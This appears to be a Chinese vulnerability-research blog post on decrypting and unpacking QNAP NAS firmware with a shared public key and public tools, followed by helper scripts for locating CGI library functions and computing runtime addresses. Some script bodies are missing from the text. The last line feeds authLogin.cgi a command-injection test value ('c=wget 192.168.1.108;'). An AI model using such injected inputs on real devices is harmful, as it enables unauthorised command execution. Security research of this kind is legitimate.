固件解压
由于QNAP固件经过了加密,但是QNAP的密钥以及都一致为“QNAPNASVERSION4”,因此可利用公开工具qnap-utils对其固件进行解压,但在使用自动化工具之前,需要先编译好解密程序PC1放在相应目录下。按道理是可以先解密,再使用binwalk等工具进行解压,但我没有成功,我使用qnap-utils + PC1完成解压。
- Decrypt 镜像文件工具:
- 解密 pc1.c
- decrypt工具
- 编译 gcc pc1.c -o PC1
- 使用: PC1 d QNAPNASVERSION4 TS-401T_20081128-1.3.0.img decoced_firmware.tar.gz
- 加密 pc1.c
- encrypt工具
- 编译: gcc pc2.c -o PC2
- 使用:
- PC1 e QNAPNASVERSION4 unencrypted.img encrypted.img
- PC2 TS-401T1.3.0.img
- PC2 retrieve the version number from the image name, so you must keep it the same as the original
- 解密 pc1.c
- 使用自动化解压工具qnap-utils
- git clone https://github.com/mb2020/qnap-utils.git
- 将编译好的PC1放在/sbin/目录下
- ./extract_qnap_fw.sh firmware.img destdir
- 结果:
* destdir/fw files extracted from the firmware.img * destdir/sysroot unpacked initrd/initramfs, rootfs2, rootfs_ext * destdir/qpkg unpacked qpkg.tar
漏洞挖掘
辅助脚本
search_lib.sh
descripition: 用于寻找utilRequest.cgi中的某个导入函数的实现的动态库使用方法:bash search_lib.sh Function_Name Eg:
bash search_lib.sh CGI_Get_Input
输出: /root/disk1/QNAPTS431P2/firm/sysroot/usr/lib/libuLinux_cgi.so.0
bash
1 |
|
- calc_lib_addr
Descripition: 程序运行时,通过程序名以及lib库中的偏移地址计算lib中绝对地址。Func: bash calc_lib_addr.sh lib_name offset_addr Eg:
> bash calc_lib_addr.sh libuLinux_cgi.so.0.0 0x000037D2
> **输出:**
> libuLinux_cgi.so.0.0\'s base is 76e0b000
> 0x76e0e7d2
- 动态调试脚本:
bash
1 |
|
运行脚本如下:
bash
1 | sh cgi_script/authLogin_get.sh "c=wget 192.168.1.108;&a=hh&p=hh&pp=hh&u=hhh&u=hhh&p=hhh&o=1233" |